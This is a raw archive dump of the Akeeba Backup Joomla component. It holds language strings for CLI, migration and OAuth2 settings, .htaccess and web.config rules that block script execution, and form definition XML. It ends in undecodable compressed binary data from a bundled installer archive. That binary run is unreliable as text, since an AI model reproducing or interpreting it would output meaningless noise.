COM_AKEEBABACKUP_CLI_PROFILE_DELETE_OPT_ID="The numeric ID of the profile to delete"

COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_ERR_NOT_FOUND="Cannot export profile %s; profile not found."
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_HELP="<info>%command.name%</info> will exports an Akeeba Backup profile as a JSON string.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_DESC="Exports an Akeeba Backup profile as a JSON string"
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_OPT_ID="The numeric ID of the profile to modify"
COM_AKEEBABACKUP_CLI_PROFILE_EXPORT_OPT_FILTERS="Include the filter settings?"

COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_ERR_INVALID_JSON="Cannot process input; invalid JSON string or file not found."
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_ERR_GENERIC="Cannot import profile: %s"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_LBL_SUCCESS="Successfully imported JSON as profile #%s"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_HELP="<info>%command.name%</info> will import an Akeeba Backup profile from a JSON string.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_DESC="Imports an Akeeba Backup profile from a JSON string"
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_OPT_FILEORJSON="A path to an Akeeba Backup profile export JSON file or a literal JSON string. Uses STDIN if omitted."
COM_AKEEBABACKUP_CLI_PROFILE_IMPORT_OPT_FORMAT="The format for the response. Use json to get a JSON-parseable numeric ID of the new backup profile. Values: json, text"

COM_AKEEBABACKUP_CLI_PROFILE_LIST_HELP="<info>%command.name%</info> will list the Akeeba Backup backup profiles.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_LIST_DESC="Lists the Akeeba Backup backup profiles"
COM_AKEEBABACKUP_CLI_PROFILE_LIST_OPT_FORMAT="Output format: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_ERR_NOTFOUND="Cannot modify profile %s; profile not found."
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_ERR_GENERIC="Cannot modify profile #%s: %s"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_LBL_SUCCESS="Profile #%s modified successfully."
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_HELP="<info>%command.name%</info> will modify an Akeeba Backup profile.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_DESC="Modifies an Akeeba Backup profile"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_OPT_ID="The numeric ID of the profile to modify"
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_OPT_DESCRIPTION="Description for the new backup profile. Uses the old profile\'s description if not specified."
COM_AKEEBABACKUP_CLI_PROFILE_MODIFY_OPT_QUICKICON="Should the new backup profile have a one-click backup icon? Copies the old profile\'s setting if not specified."

COM_AKEEBABACKUP_CLI_PROFILE_RESET_ERR_NOTFOUND="Cannot modify profile %s; profile not found."
COM_AKEEBABACKUP_CLI_PROFILE_RESET_ERR_GENERIC="Cannot reset profile #%s: %s"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_LBL_SUCCESS="Profile #%s reset successfully."
COM_AKEEBABACKUP_CLI_PROFILE_RESET_HELP="<info>%command.name%</info> will resets an Akeeba Backup profile.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_DESC="Resets an Akeeba Backup profile"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_OPT_ID="The numeric ID of the profile to modify"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_OPT_FILTERS="Reset the filters?"
COM_AKEEBABACKUP_CLI_PROFILE_RESET_OPT_CONFIGURATION="Reset the configuration?"

COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_ERR_CANNOT_FIND="Cannot find option “%s”."
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_HELP="<info>%command.name%</info> will get the value of an Akeeba Backup component-wide option.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_DESC="Gets the value of an Akeeba Backup component-wide option"
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_OPT_KEY="The option key to retrieve"
COM_AKEEBABACKUP_CLI_SYSCONFIG_GET_OPT_FORMAT="Output format: text, json, print_r, var_dump, var_export."

COM_AKEEBABACKUP_CLI_SYSCONFIG_LIST_HELP="<info>%command.name%</info> will list the Akeeba Backup component-wide options.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_SYSCONFIG_LIST_DESC="Lists the Akeeba Backup component-wide options"
COM_AKEEBABACKUP_CLI_SYSCONFIG_LIST_OPT_FORMAT="Output format: table, json, yaml, csv, count."

COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_LBL_SETTING="Set component option “%s” to “%s”"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_HELP="<info>%command.name%</info> will set the value of an Akeeba Backup component-wide option.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_DESC="Sets the value of an Akeeba Backup component-wide option"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_OPT_KEY="The option key to set"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_OPT_VALUE="The option value to set"
COM_AKEEBABACKUP_CLI_SYSCONFIG_SET_OPT_FORMAT="Output format: text, json, print_r, var_dump, var_export."

COM_AKEEBABACKUP_CLI_HEAD_MIGRATE="Migration from Akeeba Backup 8"
COM_AKEEBABACKUP_CLI_MIGRATE_COMMAND_DESC="Migrates the settings from Akeeba Backup 8"
COM_AKEEBABACKUP_CLI_BACKUP_MIGRATE_HELP="<info>%command.name%</info> will migrate the settings and backup archives from Akeeba Backup 8, if it's installed. WARNING: THIS WILL OVERWRITE ALL YOUR CURRENT SETTINGS WITHOUT ASKING FOR CONFIRMATION. This command is meant to be used by responsible adults only.\nUsage: <info>php %command.full_name%</info>"
COM_AKEEBABACKUP_CLI_MIGRATE_NOAB8="Akeeba Backup 8 is not installed on your site."

COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_HEAD="Migrate your settings from an older Akeeba Backup version"
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_BODY="We detected that you have an older version of Akeeba Backup installed on your site. Click the button below to attempt an automatic import of your settings, backup history and backup archives stored in the default backup output directory. Please read the documentation carefully to understand the risks and limitations of this operation."
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADE_FROM_AKEEBABACKUP8_BTN="Migrate settings"

COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_HEAD="You have already migrated your settings from an older Akeeba Backup version"
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_BODY="You have already migrated your settings from an older version of Akeeba Backup. If you want to run the migration again click on “Migrate settings”. If you are satisfied with the migration click on “Show me what to uninstall” to open Joomla's ‘Extensions: Manage’ page to the old Akeeba Backup extension; you can then select it and click on Uninstall to remove it."
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_NOTE="If the uninstallation of the old version of Akeeba Backup fails please do the following. First, install the latest version of Akeeba Backup 8. Then, install the latest version of Akeeba Backup for Joomla 4. Come back to this page and click on “Show me what to uninstall”. You will be able to uninstall it just fine. Please note that messages about FOF or FEF being unable to uninstall can be ignored; Akeeba Backup 8 will be uninstalled regardless of these messages."
COM_AKEEBABACKUP_LBL_CPANEL_UPGRADED_FROM_AKEEBABACKUP8_BTN="Show me what to uninstall"

COM_AKEEBABACKUP_UPGRADE="Settings migration"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_STANDARD="This operation will overwrite all your existing settings and backup history."
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_INCOMPATIBLE_HEAD="Migration requirements are not met"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_INCOMPATIBLE_BODY="We have not detected a compatible version of Akeeba Backup. If you try to run the migration now you may experience errors and / or data loss. Do not proceed unless you have been explicitly instructed to do so by our developers. Ignore this stern warning at your own risk and peril!"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_ALREADY_RAN_HEAD="You have already migrated your settings"
COM_AKEEBABACKUP_UPGRADE_LBL_WARNING_ALREADY_RAN_BODY="You have already run the migration before. If you try to run the migration again you may experience errors and / or data loss. Do not proceed unless you have been explicitly instructed to do so by our developers. Ignore this stern warning at your own risk and peril!"
COM_AKEEBABACKUP_UPGRADE_LBL_WHAT_IT_DOES="Akeeba Backup for Joomla! will import configuration settings, backup profiles, backup history and <em>some</em> of the backup archives (those in <code>administrator/components/com_akeeba/backup</code>) from an older version of Akeeba Backup (7.x or 8.x) already installed on your site, overwriting all existing date. You should only use this feature the very first time you install Akeeba Backup for Joomla! to avoid data loss."
COM_AKEEBABACKUP_UPGRADE_LBL_REMEMBER_TO_UNINSTALL="Remember to uninstall the old version of Akeeba Backup after the migration is complete. Use the Joomla's sidebar menu item called “System”. Find the Manage panel and click on Extensions. Find and select the <em>Akeeba Backup package</em> extension of type “Package”. Then click on the Uninstall button in the toolbar."
COM_AKEEBABACKUP_UPGRADE_BTN_PROCEED="Proceed with the migration"
COM_AKEEBABACKUP_UPGRADE_LBL_SUCCESS="The settings migration completed successfully."
COM_AKEEBABACKUP_UPGRADE_LBL_FAIL="The settings migration failed to complete. You may have to manually import your backup profiles and / or transfer and import backup archives."

COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEAPP_TITLE="Upload to Microsoft OneDrive (App-Specific Folder)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEAPP_DESCRIPTION="Uploads the backup archive to Microsoft OneDrive, inside the app-specific folder for Akeeba Backup (<code>Apps/Akeeba Backup</code>). This is more limiting than the other OneDrive upload options, but is less likely to cause problems with some accounts which present authentication problems with the other integration we offer."
COM_AKEEBABACKUP_CONFIG_ONEDRIVEAPP_DIRECTORY_TITLE="Subdirectory in <code>Apps/Akeeba Backup</code>"
COM_AKEEBABACKUP_CONFIG_ONEDRIVEAPP_DIRECTORY_DESCRIPTION="The subdirectory within the Akeeba Backup app-specific folder (<code>Apps/Akeeba Backup</code>) in your Microsoft OneDrive drive into which backup archives will be uploaded. Please use forward slashes (<code>/</code>), not backslashes (<code>\\<code>), and always put a forward slash in front. Correct: <code>/some/thing</code>. Wrong: <code>some\\thing</code>. A single forward slash means that archives will be stored in the drive's root. Do NOT include the path to the app-specific folder (<code>Apps/Akeeba Backup</code>); this is added automatically by Microsoft OneDrive itself!"

COM_AKEEBABACKUP_CONFIG_OAUTH2_HEADER_LABEL="OAuth2 Helpers"
COM_AKEEBABACKUP_CONFIG_OAUTH2_HEADER_DESC="Only for the Professional version. Allows you to have a custom OAuth2 helper URL instead of using the one provided by Akeeba Ltd. Please read the documentation."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_BOX_LABEL="OAuth2 Helper for Box.com"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_BOX_DESC="Use Box.com with your own OAuth2 API application instead of using the one provided by Akeeba Ltd. Please read the documentation."
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_ID_LABEL="Client ID"
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_ID_DESC="The Client ID you get from Box.com for your API application."
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_SECRET_LABEL="Client Secret"
COM_AKEEBABACKUP_CONFIG_BOX_CLIENT_SECRET_DESC="The Client Secret you get from Box.com for your API application."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_DROPBOX_LABEL="OAuth2 Helper for Dropbox"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_DROPBOX_DESC="Use Dropbox with your own OAuth2 API application instead of using the one provided by Akeeba Ltd. Please read the documentation."
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_ID_LABEL="Client ID"
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_ID_DESC="The Client ID you get from Dropbox for your API application."
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_SECRET_LABEL="Client Secret"
COM_AKEEBABACKUP_CONFIG_DROPBOX_CLIENT_SECRET_DESC="The Client Secret you get from Dropbox for your API application."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_GOOGLEDRIVE_LABEL="OAuth2 Helper for Google Drive"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_GOOGLEDRIVE_DESC="Use Google Drive with your own OAuth2 API application instead of using the one provided by Akeeba Ltd. Please read the documentation."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_ID_LABEL="Client ID"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_ID_DESC="The Client ID you get from the Google Cloud Console for your API application."
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_SECRET_LABEL="Client Secret"
COM_AKEEBABACKUP_CONFIG_GOOGLEDRIVE_CLIENT_SECRET_DESC="The Client Secret you get from the Google Cloud Console for your API application."

COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_ONEDRIVEBUSINESS_LABEL="OAuth2 Helper for OneDrive"
COM_AKEEBABACKUP_CONFIG_OAUTH2_CLIENT_ONEDRIVEBUSINESS_DESC="Use OneDrive with your own OAuth2 API application instead of using the one provided by Akeeba Ltd. Please read the documentation."
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_ID_LABEL="Client ID"
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_ID_DESC="The Client ID you get from OneDrive for your API application."
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_SECRET_LABEL="Client Secret"
COM_AKEEBABACKUP_CONFIG_ONEDRIVEBUSINESS_CLIENT_SECRET_DESC="The Client Secret you get from OneDrive for your API application."

COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_YOU_WILL_NEED="You will need the following URLs."
COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_CALLBACK_URL="Callback URL"
COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_HELPER_URL="OAuth2 Helper URL"
COM_AKEEBABACKUP_CONFIG_OAUTH2URLFIELD_REFRESH_URL="OAuth2 Refresh URL"

COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_TITLE="OAuth2 Helper"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_DESCRIPTION="Choose which set of OAuth2 helper URLs to use. Please read the documentation."
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_OPT_AKEEBA="Provided by Akeeba Ltd"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_TYPE_OPT_CUSTOM="Custom"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_HELPER_TITLE="OAuth2 Helper URL"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_HELPER_DESCRIPTION="The full URL to the OAuth2 authentication helper. Please read the documentation."
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_REFRESH_TITLE="OAuth2 Refresh URL"
COM_AKEEBABACKUP_CONFIG_COMMON_OAUTH2_REFRESH_DESCRIPTION="The full URL to the OAuth2 refresh token helper. Please read the documentation."
PK     \Sʉ        language/en-GB/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \|N      language/web.confignu [        <?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>PK     \Sʉ        language/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \69  9  
  access.xmlnu [        <?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->
<access component="com_akeebabackup">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" />
		<action name="core.manage" title="JACTION_MANAGE" />
		<action name="akeebabackup.backup" title="COM_AKEEBABACKUP_ACCESS_BACKUP_LBL" description="COM_AKEEBABACKUP_ACCESS_BACKUP_DESC" />
		<action name="akeebabackup.configure" title="COM_AKEEBABACKUP_ACCESS_CONFIGURE_LBL" description="COM_AKEEBABACKUP_ACCESS_CONFIGURE_DESC" />
		<action name="akeebabackup.download" title="COM_AKEEBABACKUP_ACCESS_DOWNLOAD_LBL" description="COM_AKEEBABACKUP_ACCESS_DOWNLOAD_DESC" />
	</section>
</access>
PK     \3  3    forms/filter_profiles.xmlnu [        <?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->

<form addfieldprefix="Akeeba\Component\AkeebaBackup\Administrator\Field">
    <fields name="filter">
        <field
                name="search"
                type="text"
                inputmode="search"
                label="COM_AKEEBABACKUP_PROFILES_FILTER_SEARCH_LABEL"
                description="COM_AKEEBABACKUP_PROFILES_FILTER_SEARCH_DESC"
                hint="JSEARCH_FILTER"
        />

        <field
                name="quickicon"
                type="status"
                optionsFilter="*,0,1"
                label="COM_AKEEBABACKUP_CONFIG_QUICKICON_LABEL"
                onchange="this.form.submit();"
        >
            <option value="">COM_AKEEBABACKUP_FILTER_SELECT_QUICKICON</option>
        </field>
    </fields>
    <fields name="list">
        <field
                name="fullordering"
                type="list"
                label="JGLOBAL_SORT_BY"
                statuses="*,0,1"
                onchange="this.form.submit();"
                default="id ASC"
                validate="options"
        >
            <option value="">JGLOBAL_SORT_BY</option>
            <option value="description ASC">JGLOBAL_NAME_ASC</option>
            <option value="description DESC">JGLOBAL_NAME_DESC</option>
            <option value="id ASC">JGRID_HEADING_ID_ASC</option>
            <option value="id DESC">JGRID_HEADING_ID_DESC</option>
        </field>

        <field
                name="limit"
                type="limitbox"
                label="JGLOBAL_LIST_LIMIT"
                default="25"
                onchange="this.form.submit();"
        />
    </fields>
</form>
PK     \      forms/profile.xmlnu [        <?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->

<form addfieldprefix="Akeeba\Component\AkeebaBackup\Administrator\Field">
    <fieldset name="details">
        <field
                name="id"
                type="number"
                label="JGLOBAL_FIELD_ID_LABEL"
                default="0"
                readonly="true"
                class="readonly"
        />

        <field
                name="description"
                type="text"
                label="COM_AKEEBABACKUP_PROFILES_LABEL_DESCRIPTION"
                description="COM_AKEEBABACKUP_PROFILES_LABEL_DESCRIPTION_TOOLTIP"
                size="40"
                required="true"
        />

        <field
                name="quickicon"
                type="list"
                label="COM_AKEEBABACKUP_CONFIG_QUICKICON_LABEL"
                description="COM_AKEEBABACKUP_CONFIG_QUICKICON_DESC"
                class="form-select-color-state"
                size="1"
                default="0"
                validate="options"
        >
            <option value="1">JYES</option>
            <option value="0">JNO</option>
        </field>

        <field
                name="access"
                type="accesslevel"
                label="JFIELD_ACCESS_LABEL"
                filter="UINT"
                validate="options"
        />
    </fieldset>
</form>
PK     \/dfo      forms/filter_manage.xmlnu [        <?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->

<form addfieldprefix="Akeeba\Component\AkeebaBackup\Administrator\Field">
    <fields name="filter">
        <!-- Search description -->
        <field
                name="search"
                type="text"
                inputmode="search"
                label="COM_AKEEBABACKUP_BACKUP_LABEL_DESCRIPTION"
                hint="JSEARCH_FILTER"
        />

        <!-- From -->
        <field
                name="from"
                type="calendar"
                label="COM_AKEEBABACKUP_BUADMIN_LABEL_FROM_DATE"
                translateformat="true"
                showtime="true"
                size="22"
                filter="user_utc"
        />

        <!-- To -->
        <field
                name="to"
                type="calendar"
                label="COM_AKEEBABACKUP_BUADMIN_LABEL_TO_DATE"
                translateformat="true"
                showtime="true"
                size="22"
                filter="user_utc"
        />

        <!-- Origin -->
        <field
                name="origin"
                type="list"
                label="COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN"
                default=""
                onchange="this.form.submit();"
            >
            <option value="">COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_SELECT</option>
            <option value="backend">COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_BACKEND</option>
            <option value="cli">COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_CLI</option>
            <option value="frontend">COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_FRONTEND</option>
            <option value="json">COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_JSON</option>
        </field>

        <!-- Profile -->
        <field
            name="profile"
            type="backupprofiles"
            label="COM_AKEEBABACKUP_BUADMIN_LABEL_PROFILEID"
            default=""
            show_none="1"
            layout="joomla.form.field.list-fancy-select"
            onchange="this.form.submit();"
            />

        <!-- Frozen -->
        <field
                name="frozen"
                type="list"
                label="COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN"
                onchange="this.form.submit();"
        >
            <option value="">COM_AKEEBABACKUP_FILTER_SELECT_FROZEN</option>
            <option value="0">COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_FROZEN</option>
            <option value="2">COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_UNFROZEN</option>
        </field>
    </fields>

    <fields name="list">
        <field
                name="fullordering"
                type="list"
                label="JGLOBAL_SORT_BY"
                statuses="*,0,1"
                onchange="this.form.submit();"
                default="id DESC"
                validate="options"
        >
            <option value="">JGLOBAL_SORT_BY</option>
            <option value="description ASC">JGLOBAL_NAME_ASC</option>
            <option value="description DESC">JGLOBAL_NAME_DESC</option>
            <option value="id ASC">JGRID_HEADING_ID_ASC</option>
            <option value="id DESC">JGRID_HEADING_ID_DESC</option>
            <option value="backupstart ASC">COM_AKEEBABACKUP_BUADMIN_SORT_BACKUPSTART_ASC</option>
            <option value="backupstart DESC">COM_AKEEBABACKUP_BUADMIN_SORT_BACKUPSTART_DESC</option>
        </field>

        <field
                name="limit"
                type="limitbox"
                label="JGLOBAL_LIST_LIMIT"
                default="25"
                onchange="this.form.submit();"
        />
    </fields>
</form>
PK     \	k!  !    forms/statistic.xmlnu [        <?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->

<form addfieldprefix="Akeeba\Component\AkeebaBackup\Administrator\Field">
    <fieldset name="details">
        <field
                name="id"
                type="number"
                label="COM_AKEEBABACKUP_BUADMIN_LABEL_ID"
                default="0"
                readonly="true"
                class="readonly"
        />

        <field
                name="description"
                type="text"
                label="COM_AKEEBABACKUP_BUADMIN_LABEL_DESCRIPTION"
                size="40"
                required="true"
        />

        <field
                name="comment"
                type="textarea"
                rows="10"
                label="COM_AKEEBABACKUP_BUADMIN_LABEL_COMMENT"
                size="40"
                required="false"
        />

        <field
                name="backupstart"
                type="calendar"
                label="COM_AKEEBABACKUP_BUADMIN_LABEL_START"
                readonly="true"
                class="readonly"
                translateformat="true"
                showtime="true"
                size="22"
                filter="user_utc"
        />

        <field
                name="backupend"
                type="calendar"
                label="COM_AKEEBABACKUP_BUADMIN_LABEL_END"
                readonly="true"
                class="readonly"
                translateformat="true"
                showtime="true"
                size="22"
                filter="user_utc"
        />

        <field
                name="status"
                type="list"
                label="COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS"
                default="complete"
                validate="options"
                readonly="true"
                class="readonly"
        >

            <option value="run">COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_PENDING</option>
            <option value="complete">COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_COMPLETE</option>
            <option value="fail">COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_FAIL</option>
        </field>

        <field
                name="origin"
                type="list"
                label="COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN"
                default="backend"
                validate="options"
                readonly="true"
                class="readonly"
        >

            <option value="backend">COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_BACKEND</option>
            <option value="cli">COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_CLI</option>
            <option value="frontend">COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_FRONTEND</option>
            <option value="json">COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_JSON</option>
        </field>

        <field
                name="profile_id"
                type="backupprofiles"
                label="COM_AKEEBABACKUP_BUADMIN_LABEL_PROFILEID"
                default=""
                show_none="1"
                readonly="true"
                class="readonly"
        />


        <field
                name="frozen"
                type="list"
                label="COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN"
                class="form-select-color-state"
                size="1"
                default="0"
                validate="options"
        >
            <option value="1">JYES</option>
            <option value="0">JNO</option>
        </field>


    </fieldset>
</form>
PK     \|N      forms/web.confignu [        <?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>PK     \Sʉ        forms/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \DcR.      installers/brs-generic.jpanu [        JPA  	   n#    JPF= ( installation/platform/language/de-DE.ini      uSn0}+x0i)mX#2bve߰cZms9x0 D\2fiYWJ3˕$ռ~B Xj|IU0<:Y]9-!i3p߃!>UZ(/mC5X(Cp50t qwAi̢nd1$/f,~(i,'ӻ'7(ZP[c/u GK(% h hP/p"Hd6vl6\ga@Dw`tQ۳.^i9a-du^7T{({̙ r[A#5
A:LaBxdd<ky#1HnPg*W8GEL̜j]Q<\pfa͝!nF0m;Mtײts>wTZ iɘ?	FxKpo>`2Ĕ>fE q8AV,8jO#$W57UW$]E51UzD^$~3 Jf^H&pvo"*kMtFTei4./OR8CaGLqc46޽][`>q2{{Ռ:v[+{{{tl!x{6z~` 4KkJИKO[lC@JPF= ( installation/platform/language/el-GR.ini      T]OQ}WLxjC>u)3A(&ք4iߛ>4Y5Vp/.4	wf̜9sIJVʕe6˭YBYmb$>AD[MKN*fYmi2xx?/([욵Eoi0kEQZ-XjŨ[ݤ5n45o@zh|o4-.M[F3[J9=U\gJEKkl:-S~G~9^XݨsX&eK^ʧmjƹՈ FOur	`m=ۄC?QB\`:@WBhOmDjs`Ml)W7;Gp;}D 
q;z-8#v%H(Rn3䔀yR_"tH.QoHDB/ /2@KCn&w7H/z+l|8Fɤ+IA2wEWA%y"= {̽FQSa{q1%wh#; KC'IxCn1@I߇i<GRE2=d<[Q<~=SQ$sסF՝0+JFHьCf4/%=B+0Mys82W('q,f,k71jٔҢ	-[(tl'M׋ d<XmtibnuU[\`Imt}*Yv,zxXs&	Ȕ=P]/,|mi{W?\6}|9m8ԋ}(˲BxGDײ9 HŞGQp/#~xƁXcLLtB@jJPF= ( installation/platform/language/en-GB.inin  #    mSQo0~WxY+utbFFi(B}2C,_f;m$dNwe4^[!M-uF5ݍĺuzWEri#_!ղD#<ul=p:6	yh#+0l%g` nfLֳlY$GiqT/aRԱ{IndE,;=, f*ڃ ktApQ	Z2KP%E{Bv  HtN5 fB)NӍɁ|WPZ8pg~aһs5Uʃq Jٜ0kK4<1iؖ:(<@=0ǃ"-JĚDDUq6d4D"T"ȒIxE-9.->fɸ/|e,9[/}:Zqf$^EyqZOO@Q$yYh 	A3|`o+(0Y:r@+_#]LAZX$S+
